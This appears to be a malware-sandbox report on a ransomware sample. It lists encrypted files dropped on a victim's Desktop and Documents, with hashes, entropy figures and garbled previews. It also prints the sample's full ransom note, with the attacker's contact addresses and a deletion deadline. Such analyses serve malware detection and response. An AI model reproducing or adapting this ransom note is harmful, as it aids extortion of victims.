V,;.......d.}...u..nO.....I.......3[.FH..C~..=...".8r...tW....%u.c..2\.N.f...;1...)...b...M..I.C.\?...n..H..VH.(2...:.......g.9......q..[.c........&'Y..R._5.......f..{..tV..W.qU.#O....Kk.V<.b...@......[B5....m.smc.d..j.(.........U:..y._.d.JIC.._..E.RBW-k...}Fr.s.W.T...8.d=......Y.H..H..mR.1....Sy...N).H...........x8M.O.y.{hY.k.....d....F..M...X.e..<.....\|..w7..?.bW..<.V.......zG...G.X_....3(65.G6...U.....$.q....[i..........]ex.i.S8[,+P...;..N..i....P...`.+...k...3N..UpE3.....l..j..]..I..u..Q.H..?.6.`.fB>..?.....%...m.i..YJ7.\.z.^.......^n.K.L...j.7$4.qr^v...~.#..@.9[...m....{....13.yT.~T .AC"Z...z..hO;...I...k..2.n0.......zQ4..

C:\Users\user\Desktop\PALRGUCVEH\PALRGUCVEH.docx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.83995197549688
Encrypted:	false
SSDEEP:	24:CL04ap0vQC7NgTsk93h17yANRDdlUWqrEHGf4wb7BGsj4oPdETnPU:CAovQOg797eANRHSrEHc4sws4oPdE7PU
MD5:	CE189A615341446B23BDA9FE26BF0506
SHA1:	7697C117B28B9E43964B5DC73F542A43995ACA6D
SHA-256:	673B9255F7F8EFCA8BC14153B20E080266F434540FDA954611BA194243C70CC7
SHA-512:	925000EC75F44B7B0B8BE6DB4641D8166B249D5D9689A16158375CBDF00465F9AB2E69C27F555588CC664ABCA8DCF6C9E577CC405BD2AFACF45708D460581A79
Malicious:	false
Preview:	LB.9....P] zt3..FZ.1.....k..........i.d..~T...5.b....X..K...sz-....)/..C.....%............".....J.U`."l...B.W....j..4..N..7n...;..jD.mW...V...O..U.Y.^ ........[....9[..N..... I.>./..P.f...L=..q"...UA2.?X.;.).].B..7..0..R[+.F.t_...Z.....1J,'.Y.H;.... EH>q1...B..d....W.4EV..K....2.DO.....?Y8H..9..d...W.qm.Kvd.,.....<....DR.....6..8.J...rINB..a..[dw.....W .pO......2...}..H...._.e.Aa).$d...S!.6. ."*Pod....3.l+.[5`...~+RZ4.-E....mr..H.l.:......6.......7...HHX..T.$..[.J......]...8"r.....[..7..R<.p8$.@...W.!..F......."...."-..t+....{k.e.C..v\.W.:..e..)qxz?....zP..!p.....j..6%...]".8C(.<...r.-.;\|...i5...7.I....c.Rn{.Q.5\|.S.2b.U..(.2.........b...........R.pUe.O..SF..+v.......7....A...O.mk..FK%.+$u.....n..h.^.{.}U2.}...@\....{&R-..&.4....1....Q...b_a.3...M2.5Y...1p>...~O..b...l..0.#.Le.$"..h,..`W}....[..^.wEa.Me%Jy.]..x..jxg......\|....T.."........q...)...I..o.. .._S ..:@..L...j.. .Vb...mO....bU.X..C?.Y.C..M).d.....i...]......k............U..Y..

C:\Users\user\Desktop\PALRGUCVEH\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\user\Desktop\PALRGUCVEH\TQDFJHPUIU.pdf Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.818728177936331
Encrypted:	false
SSDEEP:	24:bY4nUpepqX3sz9BYD/GHU9Fyw7ps/g/lX5/BHe+gBeS8MYvR7:uspu3cCBu/gZ5/BHnzJMO7
MD5:	506BDA9FFF933F18AF8FF70578E8C607
SHA1:	D086B3BB9ABA7487265BFF6A02597236B5B9BB61
SHA-256:	93A36E194386C54DFE3C910057F64BAEA07FDD7CECE4008795E54622D9D90752
SHA-512:	E344AEE4CD32961974DC5BE12E3DDE858BBB067BF4E075F0E762C8519EFFE56A8853AF795CBBA9B32CB49ADFCC22CE4A6BFCAF341141524E4B05A37490A25371
Malicious:	false
Preview:	..k/."#..vX.......Z.n..m(x.5...>...Z....(........ ..._.W..5z..E.q(..':.........}~...............+.9..1..u.H..E2y...O7.....9.....! c.^..3,...>.....F....._./8t.2.....L.a..3k^=.?...f{..M.d.1...........V.#..\|.Mh.[...'.f......i.I.>z..5...^..>x.x......D3.L...........;.88E.t.........!.h..o:.A.3..Q....s.p..........=@N.f..ns9v............>h.#..7.l.l~)...JS.....DI..-.g..M.%.a..+z.."b.2/{../'l...m.;@...<...$...53.#..H.9.......26..I~L[.....l}.....D..j\..JwNX...u...`............).....e..s.t./....{>.b.....V..pP..`...H.P:.K.Ec...B.L=&...g'..'i.f...N.ocT.Owe.q...>...FG.;....#..U....:...jV...!j...j.......^e.W..=.~?........m....M+DjFK..;.5......[.......q.X.....Mz.1...\|V......eo.,IL..6.....+@...A.af.E7.r.2..,.X.0K...;MU._........}.Os...r...M.....)0...uq@UT.!..A..)..C..I.w....v..........TN.nP.+.h_...#4..V..U.L..#_.....T.......5..7.T.nS..F...s....K......am.q.C_w..<1~/^.p.[......sb..[....`!T...w5.#.MS....<..3}xEy...L...3h...d......W8D.....~......'A....{!

C:\Users\user\Desktop\PALRGUCVEH\UNKRLCVOHV.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.859063242993011
Encrypted:	false
SSDEEP:	24:cIm3we9IKDTiGVtPff5eLr1Pc/A9CA4XcxaUi0Auj1AxYlYppx5zVS8V:ig+vBtHYVPc4BaUi5yAxpx5ZSo
MD5:	3E591B73404ECD3B4B79D2E85709AB85
SHA1:	91924959B21CE23124E0F4BA5A996D1EA43A962F
SHA-256:	3905AD9D0B8C2DAB53F64893A121B80CD579BB18EE12D98FB9DF17995CBC3ED3
SHA-512:	DFA24AFBB6C2CC1392ECAC6B8717CD6C32082B969F2BA2685299195A49E5D7E666E16BCA83DFDAB5D14B3A651362689E1472BA3EB2831736E372E2EF74102C29
Malicious:	false
Preview:	.C...sE...C.YcI:\...{D....N2.;G<..6.......1.i.\|{..M.ZR.v...Md.G.q.......,...!%.I....V.................W.Xh.k..<ys.HvB.@/(\|..P..>...........5I...+\|N.(.V.b......iW..k.b.D.T^..O.....S0a.Zrj.....P..c..B.N.v....'AC.\|6....Y.j.(Q#.1.C.....bJ..,.G.h.O.........&..e......;J....C\...!en....9g7x.c.?"-..t....h..}f..G..g.Q.#....E..b.....\..........q....=Jrxt.f...E......B.F...e..19. ....xZ..=..l..2.(.}.N..3Y.>..E...>..5A.....'.+A..5...=6.".G...d.%np..pw.q..I.7{........Ux...0...SV.bS.s!..\|.2.....>. .t v..LL.....\.=.".....:....t.~...Ad8g.o+....\.z.ok.R.6....&N..>.}.X.....n...Y{k.3..oM.S.Vb.@..J.`..A8..".3......:>..)e/[J....Y.:.v.~..q0,.N...."t.[.9^.N.f6..X....#...N...+..I....d%.t....Y.8d.,.4.R..ZTqi=OJ.2..)@.M....E.6.o$.J..1.1. .:../?.1+I..\|..]....<*.QO..B...2.I.....V..y..,koI?G.e..}..\.qI...IK.w.f...#.:N.q.y....~^.7[.<.RW5x....^.......z.'.K..qO.6......'\3...p....-..-.T.&..w.~F.^9.7.........Yj......c."..P`T.X.\j...G;..........<.d..K..............q._..

C:\Users\user\Desktop\PALRGUCVEH\ZIPXYXWIOY.jpg Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.8365898040128865
Encrypted:	false
SSDEEP:	24:qJNozzvVMcgFujI/6Jp/T8vexQ/ma023wf59i2kfGQ1aumTkcvvP3pZxicMZdj0:qLKeZujIs8Hmy3wfPitF1aDTL37WdY
MD5:	1B485A6529CC54B09A6A3F9022BEADD6
SHA1:	C908DD029E35276DD8E0F6BD6AC29ED3E322519B
SHA-256:	D0698B5FCB4221264426E83EA16C42FFD74B3F576E1091EC60B13A961ABB3269
SHA-512:	235DAAE9165ED216A6A4AFF8C87EDC63D3B5F401B44D53B79A5DF4519B25B2DC04AF95BF565108340211828531CA353434668D6AEB68F7C07338317ACE44AD4B
Malicious:	false
Preview:	r4.:....gF..#.&......eFa.....\|~..[.n..K.3..d.>R....'o.d..&T.""...Y3...L.&?W.2bm.....M..+{.O..}..3.........9w...AA..:]yc....\|..jf........h...a....D]....,....A%..=.........K"5...C....$....E..V7..YT....2...Rx...Tr8E>ZL.7$JS.T!.........B.=]0......nYg8..u..!U..^...U...... c7...$k".YD.?Y;c.;...fd..&H.T...MU.........A.\|.W..V;..Z..s.<..v^......+g.......Y.~...;].a#..:...S..8.N'W..B..P.........$3R.B...a._..'........yn.c.......xD,..........M....):nk^...q....t.j.Ng...@u.U..;.V...n...<._.y...y#.e....s)N~.......A......Mif5..1Q..&..........r:.n(7d..Y.50Bi...3...'.<B.".}ts..X?..."...>.e.[0..@...{}.GD.....5..`........wU.w.....T'l$'..,.......W}........."..>)O.>.k..0.....a[9...Q..R.._.;.~f.!..5).D..QvspT=B...+.......V.K.s..L."...M.l.......L&.H.i.8..".H..:?B..r.8.........{C..E...p-).....;~..h..v.<.....1...&x0..[y..K7.9.......b).....+......FVI.('.@V..0..V.....y..D..H..5..i.n..>..V;*h...=....hX.v/......y7.8........n. ......z.)2.1.....@c..V.......]...[.....z..ei..

C:\Users\user\Desktop\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\user\Desktop\TQDFJHPUIU.jpg Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.841527189823695
Encrypted:	false
SSDEEP:	24:dIx1zXmN4N1RH7tgx7JORW24Ci4OWMrGn3lZX6u0hsh02fFCzG0:mzXmsRhQ7yi4OZ+3lZqTuh024zj
MD5:	2B8315506C41929D27C7FAA0567043E7
SHA1:	79653C481948F46FE6B9B9A438679EBD22BB3F51
SHA-256:	CD85110FBE9A9D48A5C52858ECB1AD7C1C1C3873CF981E72CDE48D26F2D4BA53
SHA-512:	34A5D8C4C64BAEC43BC0E084A0700DFB2D5D705FF51A401F5314AAC60C97FC53C3E456B04C74EEB96F55C2B721F7F7D907E8B6B69DB05D629D0F31626FAE9F05
Malicious:	false
Preview:	....U..d...#n..n5E....3.."S....M.J.0$.J,I#Bfl5xT.$......uu..Q.j.6...........X[...\|YR...jz..N2.U.\eVR.....BIt.N.7..B.b.I..[4....@.q....K{.%J.KSle..A....g"...i..G6....a.(...dq..:...F.-.....3..K...#N..BCX..Ts...D...[i1..}..p.a.9......j+..f.+..e..qN..@.....0..4..AO...PoJ...6.)x.../^7F.:... ...SF-.{...b.#...bt...y..Y.:..`._...1x.7y=..OkV2...;.(F..".....)..K.3CT.-...lH3c...K.../.n4N....xx../.8..I.6....0.t.,F.B..z.~b.O......g..y..i.;.o.ee..................U.%.0.9.a..fT.N..../B._.Y......u.^..h.x?.........xU..r.......\'c.3.o9..D...e...vv..J.] r...6...9.z.mP>.A.....Xrn..B...#gS....)......\|..PtR.J..~..P..._,...g...m.rd..P~9k..\|C.b...S......Y..2.......(..J.W..I.Z.P.w.:....[`I...>..I?.f;E...]...^X..L........1;.H..S...\.L.]..fo.>..=5.w/....j...y.Z.C..1m...{...F/pC.......2...f{Q...Y...9.;.]..DE...y.W...3v..B.\|.m..d.3.su@..z. ........!......w.....[."$3@....@8....\|.<......>V;`U......y.=..s......^....s.i....i....+{C..J.tc.....*.....T.3

C:\Users\user\Desktop\TQDFJHPUIU.mp3 Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.8637865075981255
Encrypted:	false
SSDEEP:	24:uKZm65yAKao+UiTNpX9QkNfkZcdg1rZYG79gM1gIS:uO/yzao0TNptQesZYg1rZYG79gk1S
MD5:	B1E206FA4949731C25CD2590713C2A09
SHA1:	D14E1249B7AFE8E4D9990B7312EBA7D97BF9006C
SHA-256:	3B986C74B1805CF074FEAC55F48966C0A73B9D411836CB891D561D20538D28D4
SHA-512:	F5DB80E01FF5D98C2F5F316EF48C17C4FFD6C0ACA2EC20205E0052CE587CA165ADFB48200871C0BF74F7790C8C4AED0E6305280FBE1A26C5BFA47703BDB6F4EB
Malicious:	false
Preview:	p.~...R..d.D.<V.......2S.f#..\.5d..g_..T.....~.lH...B.][ (.O.<..DC..X..D..Wwb..p5L..>...+?L...../q..r.V..B!..?!.4.\\0J.B.6.......~`7G.A.L.T.?...V..)nsS..>h.].Nc~..."A.?9.j...>Y_.ZO.....7.'\..T.j..80.....+=..{..'..hVg.S....}.......'.....]Kc.........\R..O.%\|..a.N.+._.....C..tOM.C...^.c'...Q.G.tl.A..M.....)o....Kg.+....[./..@.7....^.N.._`....Nd.'..........-..#.0.nD..a^.Jv .....:.z...G.mI6:.a...c.....)kR.8~.n..t..l.......)..}.....m.n....j..k\|..1o,K...+;6....^......Y.'.mL.;..G.x;.....%Kx.u..k.h."Gy.&Bbu.O.c#.+..s.......h.\CB.2......."B}.....2p......]B8...+.y.] .Z.._+>z..y.;...B<......0.C1..n.iu....8.1-..&.O..x......%1.x.C.G..0..:7.W..X..N..5T{.z?DF....{..K.P.YO.....,...c..l%..!hW.=........x:.#=c..........~..L37.I..D..I.X.........$!.G...oxp62..N....p.4;...dw..J....b.s.4.Y....j.Mt...0.S.U2.6.......Sa......u.L...8......=.X...z.z(..a-...8..Z>...~..-.......&.I&..<...6i.K8..H..R.F,.<.d.\|/.EP=.?.."(?;.T.M0EH.H.{.9..r...A..D.~V".m..~.a.{.a.

C:\Users\user\Desktop\TQDFJHPUIU.pdf Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.8487764285963975
Encrypted:	false
SSDEEP:	24:PhQvzJBXcPmk4Z41dnK/XuXPZCJbVYw/nnYwjPzrH6YIZJHY4o2Ywg:ZmMPmi1AeXBKmwjPpiJg
MD5:	7112874649E1C0BA4D47B754FC109AC3
SHA1:	8101EBC17D2AF51EC5241CB6F7621B82987A0317
SHA-256:	DD8427782CADB01C36252134BF85C00A397DE2E17B38A164CC313BB84C4F3F66
SHA-512:	12038A8F23B8D62710E8A487964D25C8C91A256EB26560F58015B136BA115AA98EF972DA6279EA00BD13A84D700C89530AA64528FB07832A1D8E9A279BE532D7
Malicious:	false
Preview:	./.. ..P..-....e..i...[...~....%..6.....$B>o.d..h......g......Ir..........".R..;,[..H..u{..&m..E........#d.!]T."....(.....p.__..P...?.4W..C2.....1.l6.....Y.N.............).qM,..c..".iY...O......g#wE..uA)O.[./........F81....D..e.....S..1..y..C...X.T?...4x....u~\\.m.s_....!..d.iq.i.....$.....`.l......N:>...nd&.<9..."...N.w....p...3.....-Ol.t.........3.].~....R.N.."p..;.k%.h8..0.....\|s.-...?..<......w+.T[.\|Q@2r.=......(...~.(5..&..x..3....K....h~......{o..].C.jj,.'"..\|...._I...w;.`.....{.....v4.(..\|,...F.R$.R.:.Q.~.../..i...F8..-."?...Au9...?.#K..T.e..N....Jha...:....o.../.:.q.T/.d.4..l(.........O..LJ..4h.Ij.p9...:.}..u5.Kp...D.....EU.Tr.7V..re....3r..o<...G..h.Q...(>Ee..3..+...P].)0..@..u..x..@...i!...g.Y..u...S..u...}}.s.A..46.W.q..#.......Cr..2j.u<...i.s._.m..or......2.T.1~y..v.L.Mwk..b&3..Z......[<Z.......O.D`.h...KD.U.......:.<a.h.[m.qP~1..!z.R.m...."x."o.@o..W.H..G..8d..un...k.....a. .D...F.g.w..S...~..T...Fs...K....p..b..+.g.Um1

C:\Users\user\Desktop\UNKRLCVOHV.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.862864389168005
Encrypted:	false
SSDEEP:	24:6p/WBtw6kybyhpNaB5c0GdhUVtA9geT/oWz3wOxMBGjbzOi0e8:6hWBtw6fbEPacfsW7Fvt0X
MD5:	367D5F1BD03D05B2C4BDABC73396727C
SHA1:	066577D1306652A47DC67B44A221D4CA98A42826
SHA-256:	323809E82F81DEFEDDCC5C2ECDDAFAAA31526122A4124593BCA59A38654D640A
SHA-512:	FE775F55A56245A53C7691A9088EEA6682863228E4A99AA71873ED1E0CD6B22CB669A47EFEA681A3B5DA89F44F737DF93FE43361118D7989BE840D395FDB2046
Malicious:	false
Preview:	.+.lT.0.]s.x.sh?0..C...&.T_.U..s..j..J.Vz....p.N/....tw.rM....[.D.h.a.4...e...=b.Z..+.$.X...s...g..t.f......C..Z...Vr%...>....@._.a..7...Ud5P.j..NI.\|.fq..I.Y....].YW.^#(.u6.v.&8.y..8..`....<.f.[.?.Z.!.).ic.C...Hw..}..O.hR..jE.i..B....%m.....^2.....{..._.\|S....b..x.m.C../.c...E...d.s..!s.~.Y8W%V.@.E.6.-k.E.%..o.k#E....p...TH....B...[....o......]@..q.......$.R;...c8.....P\|..o.].a.G.....J)/....c..}.I9..i....o<3..N.I;i.2.0.u.^...B......l5.^.s!~"Uo..!...../.N.KhX...yI....y{............Im7.sV'..x....w...5.@.]}..pV...om...2....\|.U....0.1!...<...h.N...x',.5.up9_..hdgOjg.,..R.A8.OtG..b..7R.....yz...........S(}4_n.>.,.G.....Z...4d.....Q.P..8...<...U..Q..a. ..h....?..!..L..........h#x.".......^8k..=S..k....@..WD.....Y.0.x}...._...Q...~_.......V#..]}..... .b?..`.\|u..8.p......c....X......X,.Ag?...V.?ak. .?..62F..E$.-n.mJ...4.V.3.f.\.REP.4*...z.P]....c...<g7c`S..9.#B.vk.y....$:.U"GU..M..@...vG.K.......CW....l9..b7..:..Ml._..V.W.?.....5....

C:\Users\user\Desktop\Word 2016.lnk Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	2924
Entropy (8bit):	7.933007426460625
Encrypted:	false
SSDEEP:	48:MIAFYlxQ1csiBk1SEIfw1PJFbV0qNOMxdOiSUoUlJ+yps30rkOzxD51KZhx4ed+q:7bTQ1c9fb6R1QUdOWfl5MAJZezd+Nlu
MD5:	67DB032FE7A1162BA6FED8F95408236E
SHA1:	C571623F9188A27077F486A2D761510C6E7F841D
SHA-256:	8F81DFE6767CA93B30CBE0D0E9B877F6BE6217825116C404866454C67C149C1B
SHA-512:	91A081AB421248B9A23CE0137A7A08953FA47B2059E067766D64785A738BEE688B57ACB9998437D7D51578324D7B1434D991D52D39A52EB09608BC25C740451D
Malicious:	false
Preview:	.F^0}..\|.I..V<..)..Y...M.. ...6..b..T...J.'-^..o........6....%..Yk..?@..V/.6}......j........D._..k..5.....u....`f`....m..^..?.......\@....... f'>$4....k..5~..G.....E...)........ ....... .uZ.....6.@.....q6.P. ...&..j...Tc..lf.f.6b.z/k.._.9.\|V./...".....x#.&.F..].W..u+....Y......>.yGD%.[......~...R..aq...x.`.P_..\.:~..Hg..i.../......\|W6<.Dc.^Q$N..v.#.V.g..=...7..<.uP.....p.".....p9...>...^.....q...(.".[..Z..!.G.w.k./..1.Z.,...pze.....b....t9R.8.{...y.....W....r.h\|...:.w.........WL........FI....0a....)d....i...fv..X..XT.Jo..z..9..\|......sk.!.S....B=..........%...'..Q..e..B'.>.Z...qR.JX..nE...0>V..R.1L...R....(.. ...c.A...X.pX.,...t!.4.\.0J)Mmr.U.Q>,.R.........3.6.)g...u.:q~.ulHmv...0k...LR.a...<L..V9%....W...V.y.. 6.......QKI..G8.. .~..".+..N..........5>^'.v42<..Tv9b.}q..Q~...3............~..7...o..A..Vm...}A0.......b.kU............i.!W..&.l...^....w..`<....d@igv....\.K..w.Y..7...AU'o..-x.*......#..M...........9.:Hc..

C:\Users\user\Desktop\ZIPXYXWIOY.jpg Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.845387106235835
Encrypted:	false
SSDEEP:	24:rGbN86P9LXxUMyfM0XSt4hOBY4OOyLCwbnCX1CT0Eki8bdsSwiHHyHXG:ruN86P9LXCY4hOBC2gCXE0EydsGnT
MD5:	7682D42CB03244D0F105F30E2CEC8399
SHA1:	E1189BA36FC6CFC93E38F7FA6B719E3BB8A619B0
SHA-256:	319DE764651539E6B1131D1DD71054BD4A74F047D2C9D1F4942A2364432D581C
SHA-512:	EB07B450BD195D1BB900434605D88E94C4452698FE4110B6E64F85037AC33630D563AAD62E4C3514A7D50E0A412D011995DA5FD84BF2476C79EE72190B66E3D1
Malicious:	false
Preview:	.#..W.FI........Hg.#W..q..8...R"=.......:...8&X....`pi...)...r.......VrjTR6.a3Mn+bU...r........YG.&.$9=jB.....PR2.....C.sR..........)...2...0..bp........~..m...<....i/HW0-. b~Y9.1.k.Gp......g..[.....~......5y.c^H...\|..8e.1a._m..i.0j...2\8G.F.(0Kx.....P.Y.......^d..4..I.....!.o..l.o...4@...;X.......>.!J;.gn.p.<..M3@.K.z84F.Aj.\.&.P!..59..c.V....n.bt..3%.....W... ......D~>...q..4.........=....O.H.6qUA..H.).....h.....F.J..I...._...a.c.[k....I.,..1...D. ............_...k..;2U..v..G...+Nt.;.bt..-...4o.U..}...8<4........O8.a.@M....7..UF..2.......J..R...I.....r.j.=.kL....a.....M.!e.xu....j.^..E.L...V.^..t...4....R...}8A.....\|....J..W..!.h..r....shBWx.$..N\b\.z..}....$.............<...q./..O.....l4...GQ...a7.....}\E.}.?....JG.8NV.5E.!9...@..s..v......6...T..5.C..!.O....M..`...6 v....*..;..&KK..$.......@...w..A. ...!...M.<.G.h.Qw.Y..r[9G..w..+.N~.Kn.X....X.-...1...q.9........%j...99Ekr.Y\|r....m..(.... Z.N..r.r.NT.@.,..........M...?0s...g....

C:\Users\user\Desktop\desktop.ini Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	538
Entropy (8bit):	7.5809015375569535
Encrypted:	false
SSDEEP:	12:Y0Zx4csjRB4m/1hwfj8YXJZ/L4h7nEFGCRtiBylsqm:Y0TMB5/16fYoL/AURtiNj
MD5:	4CB5D7FC901EDBFA23A307CAA57A6EBB
SHA1:	926D71AB37E1E96F79BEFBE670F9D6A06ED56A55
SHA-256:	D1CBCC3910BCF79972C99E22FC229CA909F7483271B1C1B0CA14B387D88F178F
SHA-512:	B97F9505F52A5C01A29F35A4A91860F8D8FB6D8F467F45E1160231D703601C8CAE80F3CB90D1ED75B0764AD07D9010E04FF8E9969C2359B70BA9D6176B2596AD
Malicious:	false
Preview:	..]...9.>}...8rd....l._.$I.....U.x..U5L..<h.~.J..0.f..u.J.K....]w..,./f.F.~S..VQ.....C.U..k7]a....Ve.?..o.?QC.!...y2F3......e........g.p....#?R.a...~h..$.o)(....w...?b.OK.n..9..!k.. ...:...zF...U..\|.._..O7.3.p...wwZ....O'....,{i2..]..W.\. .."M1.v.a.h..qx...Z...../S7.8...3aK.K?....{.."....Q-....,.........w..f..je.H2..1.G.-.X..._......`M.Q.4...".c.A.s:.....`....`......y..5..`.....?..e......f.I...3./.#"..a.#1.&wP........,....h.:Z....\._...*b.u..S.l......\|...u.......Z....~.+.......{R.k.]].<...N..?.. ...:/......."

C:\Users\user\Documents\AQRFEVRTGL.mp3 Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.855980503119196
Encrypted:	false
SSDEEP:	24:NtbPcNVN2DPbB8h3C9jPmbItrbDQxbHGE1EovaM2YtK9u0h5nyD9kB6L:TbkN32LbKE1+bI9+GE1EovaM2Ae5GkoL
MD5:	53F2718F79F3D4E6641747CB135B77A3
SHA1:	B7A93073C13037C0C6E07274382A19441B544C81
SHA-256:	AD6E5423CF67BC8D12917AAF2C835CD60456AE20FEF7F1F2D2D28C23D4CC398A
SHA-512:	1F69A94AF48DF3E545736330A5C5EFAE6607FF00CD50EA3BB32BA52C2AECCAE574112ED972B61A7B5FA83465BC0C2DD1C2433A5B96CB7B17053A8134CF06E089
Malicious:	false
Preview:	.N...,J.c.K._OC....]..a.t......,..M.......p.aC.:bU...X...i.-.Z..EZ..0h.<..l2..?...8.0.y..W....O...!=./g.gXv...g.F....&.D..z...L.._.%G...a..Yx)..L.u".0.O. .....]y..A.]....T...h...K..3a......T..!5H........G....E..1.".Qe....X..,h\v...%......W.d...cy...!LE..c...9B..hp..GV].o.....p.7G..x.PZ....AsG..@v....b...%...(;.M.!..... ...b........L0.#.o..0vpB......X{.#B.O[3....{...G.~U.......o.......U:....%..,.....0=....\y......1&...?<X....}...+.}....+....O....g...\|.5..)y....<....1.#VO..i.IV....j....\|...;..0.D.Dd...d..../.'."..Xn...73...>]..3'./..6..Yj&...G...+... .M...B...M&F.....d.S.....A.......e..z....m..N..........CU!...l\|...3U.;Mm.!.6l.O..A`....4P.........yAMi..._.o..;...#.8.......n\..<.. %:..2(]..5....\|....C.OO[B.}\....QGr.UF.E.c<.qn...e.e..E...p.I.....R.M}.F.$.g.1......8.A...1S.N>..H.j+.v0.}..^..:.\|....%....4...Q.].gj..I...CN.....g1T.....&c...c..{"..{.-4.Qy.g.P.}.............P...0.n..L..L.UI.L....9...M..8..Z.g..XS.^.....,.`.Nn.qM.....

C:\Users\user\Documents\BJZFPPWAPT.docx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.863702614557597
Encrypted:	false
SSDEEP:	24:LqRw8AZn24zHrehm+ilm6WgYwaN6d6Ar1ngrR4HwBqhuP+aleeyO:OORU4H6hmYeaosApngrRgw1P+ud
MD5:	145393F7A7755C2087D4F11C0A454FAC
SHA1:	96F6D0082D60BA2B3E6AA6899A91DD13749B2DB8
SHA-256:	0D2D345FA8285C3B8DC44BBE01388F5A316BCD8A998D2F4AE6C28D1443451BCE
SHA-512:	9A9823B5BD043627E86B71EB89950C57F6927D373D1E60E7BD21FA207F9B83AAAE8CCBFAC84401B3D851F99BEE8B559BE0F0C35483C760FF46A2E9E91F4BC0F0
Malicious:	false
Preview:	........p..[d\|.....7$I..^L(.$...o....9...GKS.{;,m..}(_s.1_.\|...A[).....2.6....b...K..K,....^F.\..Z....j8..r/F8.N..\|.J@Rx9...r+...w..}.J..........a..E...De"....R5.!..vY....i.......A.\|.p.K..o.sc%.....A...:...A...`.`.]~zo". v.....{.ldd....Xw...'..=..y).@......B.,....u{...U....z.P`.#$l.b.H7!!...=........T..ot.....~.E.8...[......d..........;HRs.."......m..-.w....d&.t...6..:..o{.k....l.,.K.<v.G..{.....n[.g..&5...w....+L.7.8}.\t0p:.gEC..'U....WA 1.).j.h..a+)H.C....C.G...'.w...&.....s...G.=N...7.L.y..Un`:..T..u).`T...k..Q.~H...olcK#.s.......xbN.....z..j.B...U.b......i.....c.k... 